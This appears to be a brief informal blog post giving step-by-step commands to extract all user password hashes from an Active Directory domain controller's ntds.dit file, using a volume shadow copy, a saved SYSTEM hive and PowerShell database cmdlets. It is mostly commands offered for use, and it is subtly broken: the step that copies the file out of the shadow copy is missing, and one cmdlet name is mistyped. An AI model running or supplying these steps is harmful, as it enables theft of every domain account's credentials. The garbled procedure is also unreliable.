ntds.dit password extraction

 

this is you AD DC. every domain controller stores its all the users password hashes in this ntds.dit file located under C:\Windows\NTDS\ntds.dit

you need privileges to get this file. but AD DC service all time use this file so you can not copy this file to somewhere else. 

so you can do following:

vssadmin create shadow /for=c:

now you have ntds.dit in your temp directory. but what to do next? this file is encrypted using system key reg file. you need to extract that as well from registry. 

C:\Windows\System32> reg save HKLM\SYSTEM c:\temp\SYS

now you have SYS file in your temp directory as well. this will help you to decrypt the ntds.dit file. 

now open powershell:

PS C:\Windows\system32> $key = Get.BootKey -SystemHiveFilePath c:\temp\SYS

PS C:\Windows\system32> Get-ADDBAccount -All -BootKey $key -DBPath C:\Temp\ntds.dit

if any error give then run below command:

ESENTUTL /p c:\temp\ntds.dit /!10240 /8 /o

then run the powershell 2nd command again. 

Avi